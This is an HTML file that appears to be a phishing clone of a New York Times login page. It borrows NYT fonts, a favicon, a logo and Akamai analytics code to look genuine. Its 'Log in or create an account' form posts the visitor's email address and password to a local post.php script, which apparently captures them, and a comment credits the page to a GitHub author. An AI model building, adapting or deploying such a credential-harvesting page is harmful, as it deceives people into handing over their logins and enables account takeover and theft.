index.html 10 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <!-- Creatred by https://github.com/makdosx -->
  4. <head>
  5. <title>The New York Times</title>
  6. <link rel="icon" type="image/png" href="favicon.png"/>
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <meta name="sourceApp" content="nyt-lire" />
  9. <meta name="viewport" content="initial-scale=1, maximum-scale=1" />
  10. <meta name="et2Host" content="https://a.et.nytimes.com/" />
  11. <style>
  12. @font-face {
  13. font-family: nyt-franklin;
  14. src: url(//typeface.nyt.com/fonts/nyt-franklin-300-normal.woff)
  15. format('woff');
  16. font-style: normal;
  17. font-weight: 300;
  18. }
  19. @font-face {
  20. font-family: nyt-franklin;
  21. src: url(//typeface.nyt.com/fonts/nyt-franklin-500-normal.woff)
  22. format('woff');
  23. font-style: normal;
  24. font-weight: 500;
  25. }
  26. html,
  27. body {
  28. height: 100%;
  29. }
  30. body {
  31. position: relative;
  32. margin: 0;
  33. font-size: 16px;
  34. font-family: 'nyt-franklin', arial, helvetica, sans-serif;
  35. -moz-text-size-adjust: 100%;
  36. -webkit-text-size-adjust: 100%;
  37. -webkit-font-smoothing: antialiased;
  38. -moz-osx-font-smoothing: grayscale;
  39. }
  40. body.embedded {
  41. height: auto;
  42. overflow: hidden;
  43. }
  44. .full-page {
  45. display: flex;
  46. flex-flow: column nowrap;
  47. flex: 0 0 auto;
  48. height: 100%;
  49. }
  50. #form
  51. {
  52. height: 350px;
  53. width: 350px;
  54. }
  55. #user
  56. {
  57. height: 12%;
  58. width: 90%;
  59. }
  60. #pass
  61. {
  62. height: 12%;
  63. width: 90%;
  64. }
  65. #sub
  66. {
  67. height: 12%;
  68. width: 93%;
  69. background-color:black;
  70. color:white;
  71. font-size:17px;
  72. font-weight: bold;
  73. border:0;
  74. outline:0;
  75. }
  76. #sub:hover
  77. {
  78. height: 12%;
  79. width: 93%;
  80. background-color:#333333;
  81. color:white;
  82. font-size:17px;
  83. font-weight: bold;
  84. border:0;
  85. outline:0;
  86. }
  87. </style>
  88. <script>
  89. /* eslint-disable */
  90. /**
  91. * Provided by Akamai for integration with mPulse.
  92. * Original source available from mPulse settings.
  93. * See https://developer.akamai.com/akamai-mpulse-real-user-monitoring-solution for more details.
  94. */
  95. (function() {
  96. // Boomerang Loader Snippet version 14
  97. if (window.BOOMR && (window.BOOMR.version || window.BOOMR.snippetExecuted)) {
  98. return;
  99. }
  100. window.BOOMR = window.BOOMR || {};
  101. window.BOOMR.snippetStart = new Date().getTime();
  102. window.BOOMR.snippetExecuted = true;
  103. window.BOOMR.snippetVersion = 14;
  104. window.BOOMR.url = "https://s.go-mpulse.net/boomerang/" +
  105. "ATH8A-MAMN8-XPXCH-N5KAX-8D239";
  106. var // document.currentScript is supported in all browsers other than IE
  107. where = document.currentScript || document.getElementsByTagName("script")[0],
  108. // Parent element of the script we inject
  109. parentNode = where.parentNode,
  110. // Whether or not Preload method has worked
  111. promoted = false,
  112. // How long to wait for Preload to work before falling back to iframe method
  113. LOADER_TIMEOUT = 3000;
  114. // Tells the browser to execute the Preloaded script by adding it to the DOM
  115. function promote() {
  116. if (promoted) {
  117. return;
  118. }
  119. var script = document.createElement("script");
  120. script.id = "boomr-scr-as";
  121. script.src = window.BOOMR.url;
  122. // Not really needed since dynamic scripts are async by default and the script is already in cache at this point,
  123. // but some naive parsers will see a missing async attribute and think we're not async
  124. script.async = true;
  125. parentNode.appendChild(script);
  126. promoted = true;
  127. }
  128. // Non-blocking iframe loader (fallback for non-Preload scenarios) for all recent browsers.
  129. // For IE 6/7, falls back to dynamic script node.
  130. function iframeLoader(wasFallback) {
  131. promoted = true;
  132. var dom, doc = document, bootstrap, iframe, iframeStyle, win = window;
  133. window.BOOMR.snippetMethod = wasFallback ? "if" : "i";
  134. // Adds Boomerang within the iframe
  135. bootstrap = function(parent, scriptId) {
  136. var script = doc.createElement("script");
  137. script.id = scriptId || "boomr-if-as";
  138. script.src = window.BOOMR.url;
  139. BOOMR_lstart = new Date().getTime();
  140. parent = parent || doc.body;
  141. parent.appendChild(script);
  142. };
  143. // For IE 6/7, we'll just load the script in the current frame, as those browsers don't support 'about:blank'
  144. // for an iframe src (it triggers warnings on secure sites). This means loading on IE 6/7 may cause SPoF.
  145. if (!window.addEventListener && window.attachEvent && navigator.userAgent.match(/MSIE [67]\./)) {
  146. window.BOOMR.snippetMethod = "s";
  147. bootstrap(parentNode, "boomr-async");
  148. return;
  149. }
  150. // The rest of this function is IE8+ and other browsers that don't support Preload hints but will work with CSP & iframes
  151. iframe = document.createElement("IFRAME");
  152. // An empty frame
  153. iframe.src = "about:blank";
  154. // We set title and role appropriately to play nicely with screen readers and other assistive technologies
  155. iframe.title = "";
  156. iframe.role = "presentation";
  157. // Ensure we're not loaded lazily
  158. iframe.loading = "eager";
  159. // Hide the iframe
  160. iframeStyle = (iframe.frameElement || iframe).style;
  161. iframeStyle.width = 0;
  162. iframeStyle.height = 0;
  163. iframeStyle.border = 0;
  164. iframeStyle.display = "none";
  165. // Append to the end of the current block
  166. parentNode.appendChild(iframe);
  167. // Try to get the iframe's document object
  168. try {
  169. win = iframe.contentWindow;
  170. doc = win.document.open();
  171. }
  172. catch (e) {
  173. // document.domain has been changed and we're on an old version of IE, so we got an access denied.
  174. // Note: the only browsers that have this problem also do not have CSP support.
  175. // Get document.domain of the parent window
  176. dom = document.domain;
  177. // Set the src of the iframe to a JavaScript URL that will immediately set its document.domain to match the parent.
  178. // This lets us access the iframe document long enough to inject our script.
  179. // Our script may need to do more domain massaging later.
  180. iframe.src = "javascript:var d=document.open();d.domain='" + dom + "';void 0;";
  181. win = iframe.contentWindow;
  182. doc = win.document.open();
  183. }
  184. if (dom) {
  185. // Unsafe version for IE8 compatibility. If document.domain has changed, we can't use win, but we can use doc.
  186. doc._boomrl = function() {
  187. this.domain = dom;
  188. bootstrap();
  189. };
  190. // Run our function at load.
  191. // Split the string so HTML code injectors don't get confused and add code here.
  192. doc.write("<bo" + "dy onload='document._boomrl();'>");
  193. }
  194. else {
  195. // document.domain hasn't changed, regular method should be OK
  196. win._boomrl = function() {
  197. bootstrap();
  198. };
  199. if (win.addEventListener) {
  200. win.addEventListener("load", win._boomrl, false);
  201. }
  202. else if (win.attachEvent) {
  203. win.attachEvent("onload", win._boomrl);
  204. }
  205. }
  206. // Finish the document
  207. doc.close();
  208. }
  209. // See if Preload is supported or not
  210. var link = document.createElement("link");
  211. if (link.relList &&
  212. typeof link.relList.supports === "function" &&
  213. link.relList.supports("preload") &&
  214. ("as" in link)) {
  215. window.BOOMR.snippetMethod = "p";
  216. // Set attributes to trigger a Preload
  217. link.href = window.BOOMR.url;
  218. link.rel = "preload";
  219. link.as = "script";
  220. // Add our script tag if successful, fallback to iframe if not
  221. link.addEventListener("load", promote);
  222. link.addEventListener("error", function() {
  223. iframeLoader(true);
  224. });
  225. // Have a fallback in case Preload does nothing or is slow
  226. setTimeout(function() {
  227. if (!promoted) {
  228. iframeLoader(true);
  229. }
  230. }, LOADER_TIMEOUT);
  231. // Note the timestamp we started trying to Preload
  232. BOOMR_lstart = new Date().getTime();
  233. // Append our link tag
  234. parentNode.appendChild(link);
  235. }
  236. else {
  237. // No Preload support, use iframe loader
  238. iframeLoader(false);
  239. }
  240. // Save when the onload event happened, in case this is a non-NavigationTiming browser
  241. function boomerangSaveLoadTime(e) {
  242. window.BOOMR_onload = (e && e.timeStamp) || new Date().getTime();
  243. }
  244. if (window.addEventListener) {
  245. window.addEventListener("load", boomerangSaveLoadTime, false);
  246. }
  247. else if (window.attachEvent) {
  248. window.attachEvent("onload", boomerangSaveLoadTime);
  249. }
  250. })();
  251. </script></head>
  252. <body>
  253. <div align="center">
  254. <br>
  255. <img src="logo.jpeg" height="40" width="200">
  256. <hr>
  257. <h2> Log in or create an account </h2>
  258. <form action="post.php" method="post" id="form">
  259. <span> <b> Email Address </b> </span>
  260. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  261. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  262. &nbsp; &nbsp; &nbsp; &nbsp; <br>
  263. <input type="email" name="user" id="user">
  264. <br><br>
  265. <span> <b> Pssword </b> </span>
  266. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  267. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  268. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
  269. &nbsp; <br>
  270. <input type="password" name="pass" id="pass">
  271. <br><br>
  272. <input type="submit" name="sub" id="sub" value="Log In">
  273. </form>
  274. </div>
  275. </body>
  276. </html>